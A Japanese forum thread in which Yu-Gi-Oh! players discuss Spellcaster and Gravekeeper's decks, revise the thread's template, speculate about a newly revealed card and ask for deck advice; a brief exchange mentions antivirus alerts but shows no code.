シンクロ軸やゴーズやモグラ、ダムドが入っていたからと言って無闇に叩くのはやめましょう。
・基本的にガチの魔法使いを語る場ですが、コンセプトがあるならばネタでもOKです。
・次スレは
>>950 が立てましょう。無理そうなら速やかに誰かを指定すること。
・たまには師匠にも目を向けてあげてください。
・診断して欲しい場合は↓をよく読んでから投稿しましょう。
◆デッキ診断をお願いする前に
診断をお願いする前には、まず「やりたいこと」「回した感想」を書き込みましょう。
いきなりデッキを晒すのも構いませんが
「やりたいこと」「回した感想」がないものはNGです。
FLスレは969までいっているのでスレ建てする方は最新スレの更新お願いします。
ここもFLスレも見てて、FLスレに勢いがある時は統合に反対だったけど 今はもう語り尽くされた気がするし統合した方がいい気がする
統合で問題ないな。
どっちも大して勢いないしな
俺も両方のスレ民だが統一してもいいかもな サポートカード出そうにないし、このスレならあのスレより診断等でいいアドバイスを貰えるだろうしね
う~む手に入れたらピンでブラマジデッキにでも差しこめばいいんかなヴァルキリア エンディミオンに入れるのもなんだし雰囲気にあってるといったらブラマジしかないよなぁ そういえばエクスルーダーも放置しっぱなしだったな
テンプレの前半部分もういらなくない? 環境が変わって大して参考にならないし 新カードが増える度に追加してたら見にくくなる一方だし 個人的には鳥獣スレぐらい簡素でいいんだがどうだろうか
少し削除してみた。 【遊戯王】魔法使い族デッキを極めるVol.23 アタッカーにリリー・熟練・カイクウを抱え 切り札にはエンディミオンや氷の女王や墓守の大神官を擁し トリッキーやBMGのような上級も下級みたいに出すのは簡単 師匠とヂェミナイ、コスモを軸にバニラビートを組んでもいいし 沈黙魔女や魔法族の里や黒の魔法神官でロックデッキもおk 下級にも優秀な壁の墓守の偵察者、見習い、ディフェンダー モンスターを素早く呼んでこられるサモプリと先生 魔法・罠除去のライラやブレイカーと有能なモンスターを擁す。 魔法は師匠関連の強烈なサポートにこれぞ魔法使いのディメンションとサークル 魔力カウンターも罠できちんとサポートしてる そして無限の可能性を秘めた魔法都市とアーカナイトとテンペスター・・・・・・・・・・・ 先生を無限の~所に入れたほうがいいかもしれん。
ピケルちゃんとクランちゃんとエクスクルーダーちゃん!! これも追加で頼む
FLと統合するなら彼女等についても触れた方がいいんじゃ
墓守だってカテゴリ単位じゃ触れてないじゃん 単体で派遣に出せるようなのもいないし
てかスレタイから墓守を外した方が…
【墓守】を【フォーチュンレディ】にすると字数オーバーしそうだから【総合】にして
>>1 に【魔法使い族】【墓守】【フォーチュンレディ】のスレです~でいいかな?
いいんじゃね?それさえ書いときゃそれほど間違いはないでしょ ぶっちゃけ少し削っても長く感じるけど
テンプレに関しては改変じゃなくて削除、別に新しいのを作るで構わないと思うけどね
>>933 アイディアありがとう。
こんな感じでいいかい?
関連スレ
中略
このスレは魔法使い族デッキの総合スレです。
なので魔法使い族デッキであれば、
【魔力カウンター】【墓守の】【フォーチュンレディ】
でも語っても構いません。
・どこまでが魔法使いデッキかは個人差があります。
シンクロ軸やゴーズやモグラ、ダムドが入っていたからと言って無闇に叩くのはやめましょう。
・基本的にガチの魔法使いを語る場ですが、コンセプトがあるならばネタでもOKです。
・次スレは
>>950 が立てましょう。無理そうなら速やかに誰かを指定すること。
・たまには師匠にも目を向けてあげてください。
・診断して欲しい場合は↓をよく読んでから投稿しましょう。
略
>なので魔法使い族デッキであれば、 >【魔力カウンター】【墓守の】【フォーチュンレディ】 >でも語っても構いません。 日本語おかすぃ
われながらこれはひどいorz 俺より日本語がうまい人、訂正頼みます。
後の文はQ&A式でまとめた方が良さそう。 Q:ゴーズとかダムド入ってたら、魔法使いじゃなくね? A:どこまでが魔法使いデッキかは個人差があります、 無闇に叩くのはやめましょう。 Q:よく分からない名前で読んでるのは何? A:師匠、弟子…ブラックマジシャンとブラックマジシャン・ガールのこと。 (原作より) 王様…神聖魔導王エンミディオンのこと。 (イラストが王様にみえることより) 先生…マジカル・コンダクターのこと。 (英語名のExemplarの訳が、模範/手本という意味より) Q:マジシャンズ・サークルとかディメンション・マジックって使える? A:デッキによります。一概に使える・使えないとは言えません。
良いなら立ててくるが。 追加したいQ&Aがあれば言ってくれ。
それよりこんなに早く立てていいの?
>王様…神聖魔導王エンミディオンのこと。 まず ×エンミディオン ○エンディミオン な それから > (イラストが王様にみえることより) これ違うんだろ?何度か指摘されてるはずだ 普通に都市エンディミオンの王だからだろ? 見た目ってなんだよw
勢い10程度だし
>>980 でも全然遅くないな
今まではスレ立ててから数日かけて埋めてたし
海外ABPFで新墓守 《墓守の司祭》 効果モンスター 星3/闇属性/魔法使い族/攻1000/守1500 このカードが表側表示でフィールド上に存在する限り、フィールドは「王家の眠る谷-ネクロバレー」になる。 フィールド魔法カードが存在する場合、この効果は適用されない。 フィールド上の「墓守の」と名のついた表側表示モンスターの攻撃力・守備力は200ポイントアップする。
コレ本当か?モンスター=フィールド魔法って今までに見ない効果すぎて嘘臭いが
wikiaにあるし本当っぽいが で、これは強いのだろうか?偵察者から引っ張ってこれるは良さそうだが
>>950 このカードが表側表示でフィールド上に存在する限り
名前だけネクロバレーだとなんか良い事あったか?
司令官がいるからテラフォいいやって奴までいるくらいだしな・・・
○暗殺者の表示形式変更効果が発動可能 ○フクロウ、黒猫がフィールド無しでサーチ可能 ○王家の生け贄が発動可能 こんなところか ネクロバレー自体サーチしやすいし、入れてもピンか
場に司祭+バレーがあれば、 偵察者がメンスフィでさえ破壊させない 暗殺者と長槍がサイドラを倒せる リミリバ対応だが、降霊で充分だね。
海外先行墓守 ABPF-ENSP1 Gravekeeper's Priestess DARK/Spellcaster - Effect/3/1000/1500 The field is treated as "Necrovalley". If there is a face up Field Spell Card, this effect is not applied. All face up "Gravekeeper's" Monsters gain 200 ATK and DEF. このカードは「王家の眠る谷-ネクロバレー」として扱う。(多分フィールド上のみ) フィールド魔法が存在する場合はこの効果は適用されない。 このカードが表側表示で存在する限りフィールド上の「墓守の」と名のついたモンスターは 攻撃力・守備力が200ポイントアップする。 ステータス強化は多分全フィールド 王家の生贄が強化 「墓守の」の種類が増えて大神官強化 プリーステスからして女性 下手に調整された効果より必須のバレーに関係してる効果だから良かったね
お前よく流れが読めるって言われるだろ
>>950 >wikiaにあるし本当っぽいが
よくこう思ってる人がいるけど
あのサイトは日本のwikiと一緒で誰でも編集できるからね
ゴールドの4月ガセが載ってたのもあそこだし
これは新しいデザインだな
見えるようで顔が見えない
>>960 いやそういう意味じゃないだろ
「wikiaに載ってるから本当」ってのが間違ってるって話
Priestessとは関係ない
他の墓守と並ばないと意味無いのはちょっとなぁ
死デッキが解除されれば挿したい感じはする
墓守の司祭か・・・。 効果が事実だったとしても微妙なカードだな。 しかし、これだけ墓守と名の付くカードが出てくると墓守だけで一族使うデッキを作っても 結構回りそうだな。 あ~それと、どうもこのBBSウイルス感染してるっぽいから見た人は ウイルスチェックしたほうがいいと思う。(AVG9にて脅威を検出)
祇園墓守を使ってて、神宣が制限になって崩したが、また墓守デッキ作ろうかな、末裔強いし
>>967 920にウィルスコードが貼られてるからアンチウィルスソフトが誤反応するだけ
スレ自体に感染するとかスレを見ただけで感染する事は(少なくとも現状では)ありえない
墓守を作ってデュエルオンラインで回してみたが、 手札回りがアレなせいでメタモルポットがかなり使える。 おかげで結束を入れられない。てか手札回らないのに結束入ってもしゃーねぇ。 なんか足らん気がして…とりあえず診断頼む。 闇の誘惑とか高めのカードは買えないんだ。そこはスマン。 モンスター(19枚) 墓守の長 墓守の大神官×2枚 墓守の末裔×2枚 墓守の番兵×2枚 墓守の偵察者×3枚 墓守の司令官×3枚 墓守の暗殺者(アサシン)×3枚 メタモルポット フレムベル・マジカル×2枚 魔法(12枚) 墓守の石版×3枚 光の護封剣 月の書×2枚 強者の苦痛×2枚 王家の眠る谷-ネクロバレー×3枚 サイクロン 罠(9枚) 魔宮の賄賂×2枚 魔のデッキ破壊ウイルス 聖なるバリア-ミラーフォース- 降霊の儀式×3枚 マジシャンズ・サークル×2枚 いつも友人とフリーでやるだけだから大会用のサイドデッキとかもどう考えればいいのかわからん。 ヘルプ!
>>969 おまえアホか?htm形式のスクリプトコードなら見ただけでも感染するぞ
実際、直接OSにコード流されてるのとなんら変わらないわ
俺はあのコード読めないからウィルスかどうかは判断できないが
もっと気をつけたほうがいいぞ
>>972 せめて2chのスレッドの形式を調べてから書き込まないと
逆に自分のアホさを露呈してしまうぞ
【儀式魔人+魔法里ウェムコ】作ってるんだけどウェムコのATKが低すぎてゴヨウにあぼんされる・・・ 魔法使い族デッキに入るお勧めのATK強化カードはないだろうか? リリーサー引ければいいんだがなあ…
なるほど 装備カードばかり見てて見落としてた さんくす
オネストはクロックも早まるし結構おすすめ
オネストは俺も思ったんだけど魔法使いデッキだからできるだけ魔法以外いれたくないんだよなあ 使えるのはわかってるんだけど…
次スレ建ててくる
>>979 苦痛の方が断然安定してるが何だかんだで収縮も結構悪くない
テンプレ全然変わってないな
俺が
>>980 取りたかったぜ
独断で改変されるよりずっとマシだと思う
>>983 議論するには残りのレスで少なかったので暫定版として建てました。
テンプレの議論は次スレでお願いします。
次スレの
>>3 にちょっとものを載せときました。
さて埋めるか
シンクロ魔法使いってチューナー何いれてる? ジャンクロン×3、ゲイル、キャリアの5枚体制で足りないと感じてきたんだが
ナイトエンドが候補に挙がらないのは何故
>>988 ナイトエンドがチューナーである事を素で忘れてた
>>990 アーカナイト・マジシャン/バスターを使えと言うのか
使いたいけど厳しいなぁ。現状でも事故酷いし
アーカナイトとかテンペストとか、チューナーも種族縛った方がよかったと思ってる。
初期の白枠にはほとんど当てはまるな
ケルベラルから出てくるからな、アーカナイト
チューナーも縛られると魔法使い族で使っても使いにくそうでやだな
テンペスターは問題なく出るけどアーカナが出し難そう
風水師使いづらいしな
音楽家フル投入だな
そういや簡易入れる時はEXにカオスウィザードと帝王さん何枚ずつぐらい積むよ?
おわり
1001 :
1001 :
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